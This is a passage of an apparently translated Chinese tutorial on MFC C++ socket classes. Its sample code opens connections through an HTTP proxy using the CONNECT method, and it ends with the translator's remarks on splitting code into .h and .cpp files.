4. Wait for a line of response. If it contains HTTP/1.X 200 , the connection is successful.
5. Read further lines of response until you receive an empty line.
6. Now, you are connected to outside world through a proxy. Do any data exchange you want.

示例源代码

  // You need to connect to mail.yahoo.com on port 25
  // Through a proxy on 192.0.1.1, on HTTP Proxy 4480
  // CSocketClient is Socket wrapping class
  // When you apply operator << on CString, it writes CString
  // To Socket ending with CRLF
  // When you apply operator >> on CString, it receives
  // a Line of response from socket until CRLF

  try
  {
    CString Request,Response;
    CSocketClient Client;

    Client.ConnectTo(“192.0.1.1″,4480);

    // Issue CONNECT Command
    Request = “CONNECT mail.yahoo.com:25 HTTP/1.0″;
    Client<<Request;

    // Issue empty line
    Request = “”;
    Client<<Request;

    // Receive Response From Server
    Client>>Response;

    // Ignore HTTP Version

    int n = Response.Find(‘ ‘);
    Response = Response.Mid(n+1);

    // Http Response Must be 200 only
    if(Response.Left(3)!=”200″)
    {
      // Connection refused from HTTP Proxy Server
      AfxMessageBox(Response);
    }

    // Read Response Lines until you receive an empty line.
    do
    {
      Client>>Response;
      if (Response.IsEmpty())
        break;
    }while (true);

    // Coooooooool…. Now connected to mail.yahoo.com:25
    // Do further SMTP Protocol here..

  }
  catch (CSocketException * pE)
  {
    pE->ReportError();
  }

 

※库源码※
————-
文件Dns.h包含所有所有DNS相关的源代码。 它利用了其它的库, 如SocketEx.h, SocketClient.h, 和 NeuroBuffer.h

※CSocketEx※
————-

作为一个Socket功能的包裹(wapper)类。(如果你不是确切知道CSocket怎样工作的, 它是非常笨重和不可信的) 所有的函数根CSocket同名。 你可以直接应用这个类

※CSocketClient※
—————–

派生自CSocketEx, 并且根据详细的Winsock错误抛出适当地例外(exceptions). 为了方便的发送和接收,它定义了两个操作符, >> 和 <<; 如果需要它也交换网络序为主机序和主机序为网络序。

※CHttpProxySocketClient※
—————–

派 生自CSocketClient, 你可以调用SetProxySettings(ProxyServer, Port) 方法和做代理设置。 接下来, 你可以连接到你想要的主机和端口。ConnnectTo 方法被覆盖, 它自动的实现了HTTP代理协议并无争论的给你了一个连接。

 

※怎样利用CHttpProxySocketClient※
———————————
  // e.g. You need to connect to mail.yahoo.com on port 25
  // Through a proxy on 192.0.1.1, on HTTP Proxy 4480
  // CSocketClient is Socket wrapping class
  // When you apply operator << on CString, it writes CString
  // To Socket ending with CRLF
  // When you apply operator >> on CString, it receives
  // Line of response from socket until CRLF
  try
  {
    CHttpProxySocketClient Client;

    Client.SetProxySettings(“192.0.1.1″,1979);

    // Connect to server mail.yahoo.com on port 25
    Client.ConnectTo(“mail.yahoo.com”,25);

    // You now have access to mail.yahoo.com on port 25
    // If you do not call SetProxySettings, then
    // you are connected to mail.yahoo.com directly if
    // you have direct access, so always use
    // CHttpProxySocketClient and no need to do any
    // extra coding.

  }
  catch(CSocketException * pE) {
    pE->ReportError();
  }

【bugfree译注】
    作者在它的文章中, 说了为什么不用.h .cpp风格编程的理由, 这个我也给出我的理由, 因为
    他的风格不可取, 大家有机会可以读读它的源代码, 有两个缺点,
    (一)整体感觉乱,不清爽, 对常常的一个类很难一下子从整体上把握。 
    (二)随着代码的增加, 编译时间过长也显现出来, 可能大家都知道.h .cpp的好处之一就是
         .cpp的代码之编译一次, 假如你没有改动该.cpp文件的内容, 此文件就不会重编译。
         还有, 这样你的类接口非常清楚, 只需在模块间共享类的.h文件即可。